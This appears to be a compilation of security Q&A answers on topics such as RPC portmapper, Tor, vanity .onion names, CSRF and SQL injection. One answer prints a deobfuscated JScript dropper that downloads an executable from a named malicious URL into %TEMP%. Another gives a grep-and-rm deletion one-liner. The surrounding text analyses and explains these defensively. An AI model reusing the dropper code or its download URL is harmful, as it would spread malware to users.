TCP and UDP ports 111 are the well-known ports for ONC RPC portmapper.  Portmapper is analagous to DNS, in that an RPC server registers with the portmapper process on the machine they both run on.  An RPC server gives the portmapper the port(s) on which the RPC server listens for requests, and the (hopefully unique) number that identifies the interface or contract that the RPC server provides.

A prospective RPC client queries the portmapper on port 111, giving it the number identifying the RPC server that the RPC client wishes to use. Portmapper gives back the TCP or UDP port(s) that the RPC server registered earlier.  The RPC client then can contact the RPC server directly, leaving portmapper out of any further interactions.

If you don't have an ONC RPC server process running, then you probably shouldn't have portmapper running.  The most common RPC server would have to be NFS, Sun's Network File System, but NIS and NIS+ also uses that RPC system. Portmapper code had suffered a few buffer overflows, but in general it was pretty rugged.  I wouldn't run portmapper without running a server just on general principle: why waste CPU cycles on it, as well as give morons a target to try 25-year old exploits on?


Does encrypting information multiple times with only small changes weaken security?

If your encryption system is any good, then no, there will be no weakness.

Consider that often just finding out if a pair of plaintext messages are identical is enough for a compromise. (If we find out that a given message means "no operation", it's easy to detect when something happens, even if not what it is.) Clearly leaking non-uniqueness would also violate the requirement that an attacker should not be able find out anything about the message without the key. (Semantic security).

Most robust encryption protocols add some sort of random value (nonce) to the message to combat against this (Probabilistic encryption). E.g. in CBC mode encryption, it would be the IV, in CTR mode the initial counter value, etc. With sufficient randomness added, identical plaintexts will give different ciphertexts, and the same works simply for near-identical plaintexts too. (The alternative in some cases related to signing is to generate the nonce as a function (hash) of the plaintext. That would leak non-uniqueness, but not the amount of changes.)

Also note that for stream ciphers (including block ciphers in CTR mode), the keystream must not be reused on different messages. Otherwise the keystream could easily be removed from a pair of messages and a XOR of the plaintexts recovered.


How do you get a specific .onion address for your hidden service?

Shallot is an older program, there are newer alternatives available now:

Scallion - uses GPU hashing, needs .NET or Mono: http://github.com/lachesis/scallion

Eschalot - uses wordlist search, needs Unix or Linux: http://blacksunhq56imku.onion

Eschalot can find longer human-readable names like seedneedgoldcf6m.onion, hostbathdarkviph.onion, etc.

The performance chart quoted above is a bit obsolete now, 8-10 character long .onions are easy enough to find.

There was a discussion back in the day, when shallot first surfaced, about whether custom names for hidden services are bad or not.

Problem number one: generated keys have a much larger public exponent than the standard keys produced by TOR, which puts a somewhat higher load on the TOR relays.

Answer: it was concluded that the difference is negligible compared to the other encryption tasks the relays perform constantly. In eschalot, the largest public exponent is limited to 4294967295 (4 bytes).

Problem number two: TOR developers can decide to filter and block all the custom names.

Answer: yes, they can, but they have not yet and there is really no reason for them to do so. They can just as easily change the standard for the random names too and cause chaos and mass exodus on the network.

Problem number three: generated names are easily spoofed, since the visitor clicking on a link somewhere out there can be tricked by the seemingly right .onion prefix without checking the whole thing. To demonstrate, which one is the real SilkRoad?

silkroada7bc3kld.onion
silkroadqksl72eb.onion
silkroadcqgi4von.onion
silkroady3c2vzwt.onion
silkroadf3drdfun.onion
silkroadbdcmw7rj.onion

Answer: neither, I generated all of them to demonstrate the problem. If you recognized that those were all fakes, you probably spend more time on the SilkRoad than I care to know about :).

To be fair, completely random addresses are even worse - if somebody edits one of the onion links wikis and replaces one random address with another, the casual visitor using that wiki would not know the difference.

Solution: it's essentially up to the person to pay attention which site he is really visiting, but the site owner can create a human readable address that is easier to remember, even if it's a completely random gibberish. As long as it's long and easy to memorize and identify. Some examples:

fledarmyusertvmu.onion
wifefeelkillwovk.onion
ladyfirehikehs66.onion
woodcubabitenem2.onion

I did not spend the time to intentionally generate good names, just picked some from the list I had left after testing eschalot. With a (very) large wordlist, unique looking names are easy to generate, but it will take time to go through
the results and manually locate the ones that are decent.

Well, that was my opinion and it could be wrong.

--
Hiro


This is explained on their security details page:

Securely communicate with other email providers.
Even your communication with non-ProtonMail users can be secure.
We support sending encrypted communication to non-ProtonMail users via symmetric encryption. When you send an encrypted message to a non-ProtonMail user, they receive a link which loads the encrypted message onto their browser which they can decrypt using a decryption passphrase that you have shared with them. You can also send unencrypted messages to Gmail, Yahoo, Outlook and others, just like regular email.

When you send an encrypted mail to some other mail provider, they don't receive your message. They just receive a link where they can read the message. To do this they need a password which you need to send them through some other channel.
This, of course, doesn't work the other way around. The protocol used by ProtonMail is non-standard which means that no other email service supports it. However, when both mailservers support the STARTTLS SMTP extension, they can exchange mail via TLS-encrypted SMTP. This doesn't prevent the mailservers from learning the content of the messages, but leaves any eavesdroppers between them out of the loop. So when you assume that:

The sender uses SMTP with STARTTLS to communicate with their mailserver
The senders mailserver is trustworthy
The senders mailserver supports STARTTLS and is configured to use it for outgoing connections
ProtonMail supports STARTTLS (apparently they do)
ProtonMail is trustworthy (immediately encrypts any non-encrypted emails you receive with your public key and then securely deletes the original)

then your email is secure. Unfortunately the points 1, 2 and 3 are outside of your control.


Secure REST API for mobile and web application usage

As mobile applications do not have cookies - this is a wrong statement. The support of cookies is provided by the OS. You may want to look at CookieManager for Android or HTTPCookieStorage for iOS. Both Android and iOS apps do support cookies including httpOnly.
For JWT, the server should not care if the client is a browser or a native mobile app. If the server provides HTTP based API, it should expect that the clients do understand and do implement HTTP. This includes that clients do support cookies. Furthermore, if security functionality on the server depends on any assumptions about the client, it can be dangerous, because malicious users can manipulate the responses.
TLDR: For the REST API to support JWT there is no need to distinguish between mobile and web clients.


How to know when a file was deleted in a NTFS filesystem?

You cannot always get an exact answer in forensics.  Sometimes the result is a time range of possibility.  That said, you can get exact answers sometimes.

For your scenario, it depends on what version of Windows was used to create and maintain this volume.

NTFS has long supported journaling (short term logging) in the file named $LogFile in the root of the volume.  You won't find a large amount of records in here since it is designed to be a recovery mechanism, but if you get the disk within a certain amount of time after the delete action you have a chance of finding it in there.  Many of the forensic tools (such as EnCase) are able to parse this log, but here is an open source tool with more information.

https://code.google.com/p/mft2csv/wiki/LogFileParser

If you are examining a Vista or newer system, you may find that there is a longer running log in place on the disk.  This logging was a capability in earlier versions of NTFS, but it was not enabled by default until Vista.  The file is called $UsnJrnl and is located in a folder called $Extend.  This file logs every action that happens to a file: rename, move, create, delete, etc.  Again, many of the forensic tools will parse this out, but here is an open source link for use.

https://code.google.com/p/parser-usnjrnl/


What's a good time period before refreshing CSRF token of the user session?

My recommendation: Never.

You should only have one CSRF token per session. If the session times out, then the CSRF token expires at this point.

As there is no way for an attacker to read the CSRF token (at least there's no more of a risk of an attacker reading a CSRF token as the Session ID cookie), there is no need to generate a new one unless you have a new session to go with it.


truncated hash for message authentication?

Truncating a well designed cryptographic hash digest  should not result any security weaknesses other than a reduction in the collision space. As these hash algorithms have a key design requirement of being uniformly distributed across the hash space.

All other things equal, using a more modern hash algorithm (SHA) and truncating it is safer than using an older one (MD5).


Definition of what is log data in context of VPN

There are many different things that could possibly be logged. They are certainly able to define things how they want for advertising purposes; it sounds like while they log the who and when, they don't actually log what sites you are visiting (which is probably the privacy concern for most users). However, "no-log" would probably imply to most that absolutely zero logs for anything are kept, which is clearly not the correct interpretation here.


Is it possible to get a notification in metasploit?

Getting a notification means that you have to setup a listener so it can receive this notification whenever someone installs this payload.

So it's the same, you can simply setup your listener to work in the background of your system, and automate some scripts to do regular 'hacking stuff'.

If it's a must, then instead of automate a script, use some programming skills to replace that automation with sound playing script, and that will be your notification.


Is security increased by using a subdomain per customer in a web-app?

It depends on what the application is and what are clients' control over it. Same Origin Policy still applies, so it's advisable to use the subdomain as a security perimeter, but - as always, there will be some quirks.

Your users can still do cross-domain requests with Cross Origin Resource Sharing. If HTTP headers can't be changed they would only lose access to the response, but, for example, one user could fake a silent file upload to other subdomain without problems.

Your clients could also, sometimes unknowingly, relax Same Origin Policy. For example if they can upload files, most likely someone would upload allow-all crossdomain.xml. Also, they could set document.domain to the parent domain so that all sibling subdomains could access the DOM.

As for cookies, attacker can still set it for the parent domain and other subdomain (of victim client) would still get the cookie, subdomains won't protect you from that, only separate domains would.

There are many ways applications installed on different domains could communicate with each other, some of these ways can be used for an attack. If you suspect your clients might try attacking each other, pay special attention to prevent Cross Site Request Forgery (tokens!) and Session Fixation. For example set up different session cookie name for every subdomain. Store your sessions server-side in a per-client store (i.e. not in common /tmp directory) and deny cookies with session ID that is unknown to the server.


What is the Javascript trying to do/exploit?

As a first step, run the code through a JS beautifier to the code to do some of the escaping.

Note, you'll see several patterns like:

Fake["hostkey" ["replace"](/hostkey/, "write")]

which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write") which evaluates to just "write" or Fake.write.  Also

The bulk of the activity seems to be in the script written by concatenating a bunch of variables together (line 124 of your file).  Those commands once de-obfuscated a bit are:

var _ = 27570,
    Keyword = "serious";
var multi_resize = 0;
var update_results = "characters_excluding_spaces",
    looks = "search_errors",
    postSelector = "f347";
Dakar = "targetParent", _actual_db_id = "deactivate_plugin", populates = 2;
e032 = "v_path_info", These = "ExpandEnvironmen";
wp_ajax_send_link_to_editor = "x00FF";
places = "tStrings", retries = "menuControl";
list = "http://dermosihhat.abdu", AuthorURI = 1,
    propertychange = "llahaktay.com/image/";
fff8e5 = "flags/.../403.php?";
triplet = "already_has_default",
    sanitize_option_ = "f=404";

textTopHei$ght = function() {
    Keyword = update_results = looks = this;
    Dakar = Keyword["WScript"];
    _actual_db_id = Dakar["CreateObject"]("WScript.Shell");
};
textTopHei$ght();
e032 = _actual_db_id[These + places]("%TEMP%/") + "5w5xGKQ9WE.exe";
try {
    this = "Reformat";
} catch (flush) {
    retries = new update_results["ActiveXObject"]("Msxml2.XMLHTTP.6.0");
}
new_branch = function() {
    retries.open("GET", "http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404", +multi_resize);
    retries.send();
    Dakar.Sleep(1000);
};
new_branch();
slidEvent = function() {
    postSelector = new looks["ActiveXObject"]("ADODB.Stream"));
};
slidEvent();
postSelector.open();
postSelector.type = +AuthorURI;
wp_ajax_send_link_to_editor = postSelector;
wp_ajax_send_link_to_editor.write(retries["ResponseBody"]);
wp_ajax_send_link_to_editor.position = 0;
postSelector["saveToFile"](e032, +populates);
triplet = postSelector;
triplet["close"]();

It seems to be doing a lot of ActiveX stuff (that I am not familiar with) (WScript) as well as making a request to the following malicious URL ( http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404 ) which seems to be a windows/DOS binary.  (It starts with the bytes MZ and has the text "This program cannot be run in DOS mode" near the start.).

So it seems to be using ActiveX to download this executable and trick you into running it, though I don't know what the executable does.  (I'm not a windows user and am not sure of all the details of ActiveX.)


The article you link says that the FBI obtained "the MAC address" for the user computers. MAC addresses are specific to each ethernet hardware, and they don't travel beyond the first hop -- meaning that they are visible to your home router, possibly the one provided by the ISP, but not beyond. If that specific piece of information is true, then this means that the FBI really deployed a piece of malware on the site, and the users simply got it on their computer.

After all, the FBI first seized the offending site and ran it, at which point they had full control over its contents. People using Tor to access a child pornography site are not necessarily smarter than average people, and they would intrinsically "trust" that site, making malware deployment possible, even easy.

Tor anonymity relies on the idea that potential attackers (the FBI in that case) cannot control sufficiently many nodes to make correlations possible. However, that "sufficiently many" is not that big a number; if one of your connections, even temporarily, goes through an "entry node" controlled by the attacker, and the same attacker can see what happens on the exit (and he can, if he actually hosts the target site), then correlation is relatively easy (through both timing of requests and size of packets, because encryption does not hide size). With control of the target site, it would be even possible to change the size of individual response packets to help correlation.

However, Tor does nothing against hostile code sent to the user and executed by the user, and if the MAC address was recovered then such code was involved.


You should implement input validation as a defense-in-depth method. So input validation should not be your primary defense against SQL injection, that should be prepared statements. As an additional defense you should restrict the allowed inputs.

This should never ever restrict functionality. If there is a legitimate use case to have apostrophes in input, you should allow it. So you should allow single quotes in name fields, descriptions, passwords, but not in number fields, username fields, license plate fields.

To block single quotes in all input is madness. This breaks functionality of the application and isn't even the correct solution against SQL injection.

Consider the possibility that you misunderstood the pentesting company. If this is seriously their advice, this reflects badly on the pentesting company and I would advise you to search for a pentesting partner that helps to properly secure your software, instead of making it unusable.


Just go with one round of encryption. You are suggestion first encrypting with one program, and then with another. There is really no benefit to that. As long as you use good crypto to begin with, you're fine.

As you point out, WinRar uses AES. That is good crypto. This answer to a similar question suggests using Veracrypt instead because it has better key stretching, but if you use a long and random password that isn't an issue.

So there is nothing wrong with your original plan of just using WinRar. No need to make it more complicated than that.


The point about "destructive GET" is that attackers may make some victim users unwillingly send such "GET" requests. This is simple: the attacker just has to include, on his Web site, an <img> tag pointing at the target URL. The victim's browser will then perform the fateful GET.

That normal requests come from an application, and not a browser, does not change this fact. The problem is not from where normal requests come, but what abnormal requests can do.

What you could imagine is to make your application add some application-specific HTTP headers, which the server verifies, and that a basic Web browser would not set in a normal GET. But then, you do not really have a "normal GET" any more. It seems simpler, safer and less hackish to simply use POST requests for anything which may be destructive (including data updates); or, even simpler, POST requests for everything. If the client is a custom application, it should have no reason to prefer GET requests over POST.


Making Users Prove They Have Reviewed The Information Security Policy Documents

Getting a web-page up with authentication and detection of "scroll to the bottom" should be fairly simple. See also https://stackoverflow.com/questions/3898130/check-if-a-user-has-scrolled-to-the-bottom
The problem is, that this does not guarantee that they even read the policy. See for example https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2757465, where quite a number where prepared to give up their firstborn child.
From time to time, we run small obligatory courses which highlight certain aspects of the policies. Sure, some seem to click through those courses relatively quickly, but they see the subject anyway. Being a big company, we also have the resources to embed small videos in these courses. But creating these courses is, of course, a lot of work.
You might create some quiz-type questions that must be answered. They might look-up the answer in the policy, which forces them to review at least that part. But unless you are enforcing a full exam on the policies which is required for the departments, you will find that there is always a possibility that the policy is 'just accepted'.
It must also be clear that violations of the policy might lead to consequences. And that the fact that you didn't know it was in the policies is never accepted as an excuse. "Nul n' est censé ignorer la loi", as the French say.
By the way, I hope that the "hundreds" was for the users, not for the docs. If you have hundreds of docs that the users must read, you need to prioritize, and have a critical look at your policies. No user will read hundreds of policy docs, and even if they do, they won't remember them.


Tor and similar anonymity networks work by reducing or removing the correlation between the requester's address, the server's address, and the content. So, in the case of Tor at least, an encrypted chain of nodes is created such that each node can only decrypt one layer of crypto.

The first node knows the source IP and the second node IP.
The second node knows the first node IP and the third node (exit node) IP.
The third node (exit node) knows the second node IP, the target server IP, and the content.
The target server knows the exit node IP and the content.

There are two ways to mitigate the plaintext content issue. The first is to provide a server that operates entirely within the network, which in Tor is a hidden service. This allows the target server to be a Tor node too, so that all content is encrypted during transport. This also makes route correlation attacks more difficult, since the nodes in the chain can't tell if they're talking to another proxy node or the real target.

The second option is to use HTTPS on the server, so that all traffic between the exit node and the target server is encrypted. This provides similar content security to normal web browsing, with the added anonymity benefits. The downside of this technique is that a compromised exit node might use a tool such as sslstrip or sslsniff to man-in-the-middle the connection and interfere with the content. There are many ways to protect against this, but one of the best is to use HSTS alongside a proper CA-issued SSL certificate instead of a self-signed one.


cyberattack by password guessing admin account logon type 3

Logon type 3 are "3: Network logon—This logon occurs when you access remote file shares or printers. Also, most logons to Internet Information Services (IIS) are classified as network logons, other than IIS logons that use the basic authentication protocol (those are logged as logon type 8)."

Source: http://windowsitpro.com/systems-management/q-what-are-different-windows-logon-types-can-show-windows-event-log

What you really need to do is take a step back and think if you can block these logins and squelch these events, do you still trust that the server is not compromised in some other way? Then it becomes fixing that, then the next. And even still, you  might get sucked up into an endless loop because the next compromise you don't know about is re-compromising the thing you just fixed.

The best path is to stand up a new uncompromised VM, and move the services this server was providing, and of course ensure that is done in a way that doesn't move compromises as well. This will seem to be a pain, and it is.

What I cannot get from the post is whether this Windows server was exposed to the public Internet. I presume it was. You really need to put Windows servers behind a firewall and only expose the ports that must be exposed to the public Internet.


Why don't wifi managers remember mac addresses for hotspots to defeat the jasager attack?

You didn't provide a good description of the attack you are concerned, but I believe you're referring to the following attack: a malicious "evil twin" access point can pretend to be a legitimate access point and fool your device into connecting to it; then it can play man-in-the-middle.

If this is what you had in mind, then remembering MAC addresses would not prevent this attack.  Spoofing the MAC address is trivial because they must be transmitted over-the-air: on an unencrypted system everyone nearby can see it.

If a system is WPA-secured MAC filtering doesn't add to the security.


Why is authentication impossible with CBC mode?

You are missing that the Wikipedia article only describes plain CBC. What you are instead proposing is some kind of MAC in addition to CBC. Properly implemented CBC+MAC is actually resistent against modification of the plaintext  and it also used in practice, for example in TLS ciphers like TLS_RSA_WITH_AES_128_CBC_SHA (AES with a MAC using SHA-1).

But see Should we MAC-then-encrypt or encrypt-then-MAC? on how to best combine encryption and MAC and Padding oracles and the decline of CBC-mode cipher suites for other problems with CBC+MAC.


Find php file with certain word in it and disable php

Answering your question (but not solving your problem):

Run this every hour or so:

grep -l PCT4BA6ODSE_ * | xargs rm

This will delete every php file with that string on it. But that string is only the symptom, not the problem. The problem is that you have a security compromise, and no matter how you clean your system, it will be reinfected.

To really solve your problem, you must audit all the components of the system. The easiest way is to reinstall everything from scratch, update every component, harden its settings, search every php file for backdoors, then put the system online again.


Does Amazon S3 deletion "shred" your object

Part of the answer depends on which region your data is stored in and if there are any government restrictions that may require them to retain data for any given time period.
https://aws.amazon.com/agreement/

Likewise, if you are talking about data which has versioning enabled your deletes may be possible to be restored by your own team.
https://aws.amazon.com/s3/faqs/

Note: AWS has an option to encrypt data stored at rest on S3 so if you want a compensating control that may be very helpful but also note that the metadata, like filenames, is still not encrypted.

https://aws.amazon.com/s3/faqs/

Since you are talking about attackers hacking Amazon one must assume that attackers who got access to AWS may be able to access the underlying computing infrastructure which may potentially contain access to backup systems or more direct access to the physical media that Amazon uses for S3. Note: Amazon does not publish their internal backup information (maybe they use Glacier?) but their durability guarantee would imply that this data is likely backed up in some fashion and may potentially be restored in the event of a catastrophic filesystem replication failure. Therefore in theory, yes it's likely that an attacker could potentially access potential copies of data that the user thinks is deleted. Whether or not this is even an issue would depend on how Amazon secures any backup or redundant copies they may or may not have.

Important note: Any vendor that claims to "shred" data may only be doing this on their production system and may or may not be "shredding" copies of that data that may exist in their backups or in related data that exists in their logs. This applies to a huge variety of vendors and isn't cloud or AWS specific at all.

More importantly, if you need additional security controls it would be wise to implement additional controls in your environment. This is true in both cloud and non-cloud deployments and really isn't an issue unique to Amazon S3.

Security on computational cloud platforms is different than traditional corporate environments but a lot of the traditional security controls can still be put in place, architects just need to be more mindful of these decisions when working in these environments.

Amazon also has a dedicated Privacy site which is worth looking at:
https://aws.amazon.com/compliance/data-privacy-faq/

Finally, Amazon is a US-based company and the US government has approached many ISP's with National Security Letters requesting that they retain data. I am not aware of any such letter being issued to Amazon but it's possible that any or all service providers are being asked to retain certain types of data. If so, then the location where the data is being retained could also be attacked.
https://en.wikipedia.org/wiki/National_security_letter

End of device life, data is securely destroyed:
https://d0.awsstatic.com/whitepapers/compliance/AWS_Risk_and_Compliance_Whitepaper.pdf

The following reference to data being securely wiped between uses seems to currently apply to EBS ( S3 is not explicitly listed as I write this so I wouldn't assume it applies to S3 ).
https://d0.awsstatic.com/whitepapers/compliance/AWS_Risk_and_Compliance_Whitepaper.pdf


Security implications of attaching a wireless printer to network

Giving the printer the password for the WiFi (which I assume you mean with "network password") is similar to connecting the printer directly with ethernet to the router: it allows the printer to be part of the network.

The main difference is that bugs in the printer might make it possible for an attacker to extract and misuse your WiFi password even if the attacker itself is not already connected to your network, for example using your browser as a trampoline within a DNS rebinding attack. This can of course not happen if you connect the printer directly with ethernet and don't provide it with the WiFi password since something which is not known to the printer in the first place cannot be extracted from it.

Another advantage of direct ethernet connectivity vs WiFi is that you usually have one potential layer of problems less to debug in case of connectivity problems to the printer. Thus, if the printer is near the router anyway it is better to use an ethernet cable to connect these instead of relying on the more flaky WiFi.


Is there is a reason for data-cables shredding?

Yes, you can throw away data cables without any concern for data having traversed them being recoverable.  The copper in them might be mildly valuable, but not so much that I'd hesitate to throw one out.


OpenID Connect with Authorization code flow and PKCE - How shoud we get a new access token in a SPA application?

Once the access_token has expired you need to re-authenticate against the openid provider to get a new access token. The openid provider should take care of remembering who is logged in (e.g. through a persistent cookie), and immediately redirect back to the application without re-authenticating the user. If you want this to happen with no redirects visible to the use then you can complete this in an iframe.

If the openid provider requires that the user re-authenticates then you are out of luck - if you perform the re-authentication in an iframe then you will want to have some sort of detection for this case as it won't be visible to the user.


Not receiving beacons for airodump-ng to work

Beacons:
Beacon frame is one of the management frames in IEEE 802.11 based WLANs. It contains all the information about the network. Beacon frames are transmitted periodically to announce the presence of a wireless LAN.

Your problem may because one of the following:

Your wireless adapter is not on monitor mode
Your wireless adapter doesn't support packet injection "check this for compatible devices
A hardware problem from the AP side. Check the RSS from the AP, it should be around -60 dB in strong signal case.

If you're using a Virtual Machine, be sure to use wireless USB adapter, not the laptop/pc wireless card, because the VM sees it as ethernet adapter and handle it that way.

Hope it helps.


Desktop App with SQL Server security issues

Unsigned Application: company's authority can't be certified allowing
  attacker to create a copy of the app with malicious codes.

Keep in mind an attacker could do the same with a web application if it isn't properly secured with TLS.

  Unobfuscated code: the attacker can decompile the app change its code
  an inject malicious codes.

Obfuscated code is a relatively small hurdle for somebody who is already motivated enough to reverse engineer it. I'm not really sure what would be changed or injected in this case.

  Open port: can be exploited with an stolen SQL SERVER user + password
  to Data leak

Your users likely have access to credentials for the database, whether they are hardcoded in the app or user provided.

I think the real issue is that the database is directly exposed, and your infosec team is probably worried about access controls and auditability. A web application abstracts away the database and allows for business logic to be put in place. You don't want users to, for example, either maliciously or accidentally, delete the entire database, modify all records, add questionable/unvalidated data etc. Or maybe users should have these permissions, but you want a detailed log of who, what, and when.

While some/all of these things may be possible with the database's built-in controls, it will likely be much more complex to manage and more error-prone. I think it depends how much effort you are willing to spend configuring a database versus creating a web application. It also depends on the trust level of the users who have access.

This question and the answers discusses this issue in much further detail.

Also, a desktop application is not sufficient to employ controls and validations, as it is under control by the [untrusted] user. Client-side logic can be modified or bypassed entirely with a direct connection to the server or by changing the application. Credentials and other "secret" information buried in a client-side application can almost always be recovered. If it's encrypted, it can easily be grabbed out of memory when it is used. Or, if network comms to the database aren't encrypted, it could be sniffed there. For these reasons, any important logic must always be validated on some sort of server backend.


JKS is readable without providing a password

The Password in the JKS file is used to protect the Private key file and also to maintain the integrity of the file. When your opening the file without password, you can able to export all certs but not the key and it will throw a warning as "integrity cannot be verified".
And one more to be clear as the cert contains public key which is accessible to global and so need to protect that with password.


If someone steals my unencrypted, password protected laptop, would they be able to get into my Google account?

Yes.

Each time I reinstall my system, I am asked for my password and security code. This is true even if my home directory has been left intact during the system re-install. It seems that Google somehow fingerprints the operating system to protect against this type of attack.

They indeed fingerprint your OS and look for discrepancies, including source IP address/location, user agent, etc. I'm not 100% up to date about how they deal with these discrepancies.
As to resuming established sessions, a fresh build will have an empty cache and no cookies, so you'd naturally have to login. If you import your home directory you should be able to resume an established session. Specifically on gmail, on "trusted computers" the session cookie will last for at least 30 days before they require 2fa or a full re-login. You have some control over this, but ultimately it's the implementation of the application that dictates how the session management layer works.

I am not sure Ubuntu has a mechanism to do this, but if in fact some data was encrypted by default until you log in to the OS, this would save the day.
Are there some mechanisms that would protect the Google account in case of access to an unencrypted harddrive?

Full disk encryption is the definitive solution for private computers. On shared workstations, if you must use them, make absolutely sure you always logout from your session before leaving.
There are ways to encrypt home directories, but none that I would call simple or practical to implement. This is proposed to change by systemd-homed but it may take a few years until this trickles down into a default in desktop distros.
Browsers apply a level of encryption to their caches, but since you can usually use them without providing credentials, these are relatively weak protections.


Demonstration of how security through obscurity fails to work

There is no such law.  You mention that you think a bunch of things are true, but I do not think those things are in fact true, so I think you need to re-examine your premises.

"Security through obscurity" does not mean that a system is necessarily insecure.  It is a bad strategy and a bad idea for the security of your system to rely upon the secrecy of your system.  Historically, most systems that have relied upon security through obscurity have proven to provide poor security.

But hiding the details of the system doesn't magically somehow transform a secure system into an insecure system.  If you encrypt with PGP, but just don't tell anyone you're doing so, this doesn't somehow make PGP insecure.  There is no law that says all systems that fail to disclose their details are necessarily insecure.


Discovered someone else's huge data breach, what should I do?

To answer your question: what should I do?

There are two ways to handle this:

1st way:

Destroy the drives securely.
Forget about it.

2nd way:

Contact the general hotline during business hours and ask for the CISO (Chief Information Security Officer) or a proxy. If they are not available ask for the compliance department or in this case probably a person in charge of compliance. If you are still out of luck ask for the legal department.
Explain the situation to them. Tell them that you want to cooperate and that you do not have any copies of the drives. Make an appointment to hand the drives over to them.
Hope for the best.

The 2nd way can have some unwanted ramifications for you. A lot of companies like to shift blame for security fails to those who make them visible. If the drives were stolen you could - depending on the legal situation of your state - become part of an official law enforcement investigation. Handling and accessing stolen goods is illegal in some places as well, so speaking to a lawyer first might be a good idea as well. If the drives were disposed in a disorderly fashion, it will reflect even worse on the company in question. It is somewhat likely that they will lash out at you. You should prepare for that, if you go for the 2nd way.

But: if I were the CISO in this company I would hope that you would go for the 2nd way nevertheless and the overwhelming majority of people I know that work in infosec would want you to do the same. Because only then shortcomings like wrong disposal of devices are visible to the information security management and only then the controls that are in place can be reviewed and remedied.


Is there any way of preventing (or punishing) abuse of anonymity networks?

Officially, they are pushed forward to allow people in dictatorships to break laws restricting their freedom of information and/or expression.

Because, the problem with the law is, that you need some people to make it, and wherever people are involved, they try to get their beliefs into the law. As such, laws, even in so-called "democracies", are not always based on common sense, real-world requirements or scientific research (and then, scientists are people, too, putting all their beliefs into their research). Moreso in dictatorships, where freedom of expression ends whenever the ruler thinks that his power is endangered.

And you need guards to check that everyone abides by all the laws. Some say that the NSA is such a guard. These people have beliefs, too (like Edward Snowden). But then, who guards the guards? Who supervises that they don't break the law (like the CIA did, as the torture report revealed - yet, not one torturer will be sued or anything. Is this lawful?).

Then, there's another problem about laws. It's time. What is lawful now, may be unlawful next week. Furthermore, in many countries, things done now are seen as having been unlawful as of next week. Especially with freedom of expression, you may be put into a concentration camp by the next President Of The Reich about opinions you expressed five years ago. Some people who think that future rulers may oppose their views, will only express them in anonymity. That's what anonymity networks are thought for.

But: Like everything you create that allows someone to break an "unlawful law", whatever that is, it can be used to break a "lawful law", whatever that is.
And: If some ruler can identify or shut out people who break "lawful laws", the next ruler can also identify or shut out people who break "unlawful laws".


Should I trust signed GOG games, which are not original?

GOG is not a pirate or cracking group. Removing DRM is a good thing for anyone owning an original product.

They officially re-sell games and their modifications of the games make the more compatible with latest operating systems. Removing the DRM is not the only thing they do.

I do not like the fact that they add various custom registry entries when installing their games, but it is nothing serious, just new junk reg entries most software today adds (original game installers included).

As for the quality of the products, mostly it is better than the original due to the compatibility fixes they make. Imagine playing MS-DOS era games on Windows 10 and actually having no trouble of any kind.

That does not mean the alterations they sometimes do will be liked by all. For example, I do not liked that for some old MS-DOS games they changed the OSTs from .mids to .mp3s (because of compatibility reasons mentioned above). The music is no longer the original one - and I do not agree with such modifications, even if they are done due to compatibility requirements. These are rare cases, though.

So no, they do NOT contain any malware or anything dangerous. In fact, running their games is safer to your own system compared to the original releases exactly due to the lack of DRMs.

Why the original owners of the games let them do what they do is quite another off-topic long story, but basically it's sufficient to say that it happens because they too do get profit out of this.


Own password manager. How to store passwords

Both approaches have been used in many password managers. Neither of them are, strictly speaking, more secure than the other, it's just that they both have different security model, leading to different solutions and different trade offs.

Most password managers stores all data in one encrypted file. This is the default approach most password manager use. This has the advantage of being simpler and possibly slightly more secure but less flexible.

The approach where you store every password in different GPG files have been used in pass. This had the advantage/weakness that the password file names are stored unencrypted, which allows many operations without needing to unlock the entire password store, you also have the flexibility of storing different passwords with different keys, or to share parts of your password directory.


When someone discovers a vulnerability, they can request a Common Vulnerabilities  and Exposures (CVE) id. This id will be linked to the vulnerability and is linked to you as a person.

Whether it is used on a resume is totally up to you, I personally started doing this recently in order to show my activities.


Securely store two values per user in SQL

The question to ask is: should the server be able to access the value ?

If the server must be able to access the value, then the "encryption for storage" is just an illusion. An attacker who gains control of the server will be able to read the values, since such an attacker can do whatever the server can do. You might want to apply some "encryption" on the database itself if you consider the database to be "less secure" (or "distinctly secure") than the server (i.e. you envision an attacker who gets a read-only peek at the database, e.g. by stealing a backup tape); in that case, you'd better apply a whole-database encryption system, which will be more comprehensive, simpler, and more efficient, than simply concentrating on your two values (in Microsoft's SQL Server, this is called Transparent Data Encryption).

If the server must not be able to access the value, then the client application must do the encryption and decryption -- which raises the issue of key management. The client application must have a user-specific key which it stores and then uses to decrypt and encrypt the data. There is ample room for blunders here, so you'd better choose a well-vetted protocol and format for that. One way is to encrypt the data with a key derived from a user password; the OpenPGP format has some support for that.


Security risks with setDomStorageEnabled(true) in Android?

The DOM storage control is set to true, which allows the application to store page elements that could include user sensitive information. Setting the DOM Storage value to false will prevents local storage from being used.


What is the purpose of the "Password minimum age" setting?

It is normally used in conjunction with a setting to prevent re-use of X number of previous passwords - the minimum password age is intended to discourage users from cycling through their previous passwords to get back to a preferred one.

Obviously the effectiveness is dependent on both the minimum password age setting and the users.


Why: Default salt and cipher seed value at Cake PHP Framework?

This definitely looks like a very bad practice.

A quick search on github brings up ~11,000 projects where the same default cakephp salt has been used.
Cakephp shows a notice when the value haven't been changed:

Please change the value of 'Security.salt' in app/config/core.php to a
salt value specific to your application [CORE/cake/libs/debugger.php, line 848]

So one potential reason for having a default salt and seed is the ability to detect if the user is using the default, unchanged and insecure salt and be able to helpfully instruct him to change it.

Refer this function where it makes sure you are not using the default values. Unlike other frameworks like Rails where the secret_token is generated on the fly when you create a new rails project, cakephp basically has a unzip and start using it approach where generating a salt on the fly is not easy.

However, the same code that checks that the values are not default can also potentially create a random salt and replace the values in the conf files when it sees default values being used. This would happen only once - ideally the first time ever a cakephp app is run - and then the values are changed forever.

Also when default values are used, it should be raise an Error (instead of a subtle notice which can be ignored) which won't let you deploy/run cakephp unless you change these values.

Obviously the advantages of seed and salt are lost if everyone uses the same known values. Hopefully someone from the cakephp team shares your concern and changes this default behavior.


Security benefits of running as standard user vs. administrator

In an enterprise environment only a small subset of users should ever have local admin rights if you want the systems to remain secure.

Thankfully, Windows 10 has mitigated some of these issues slightly but even so, the key thing here is that a user with local admin rights has the ability to make changes to the operating system including the installation of new software, changes to existing software and changes to the registry.

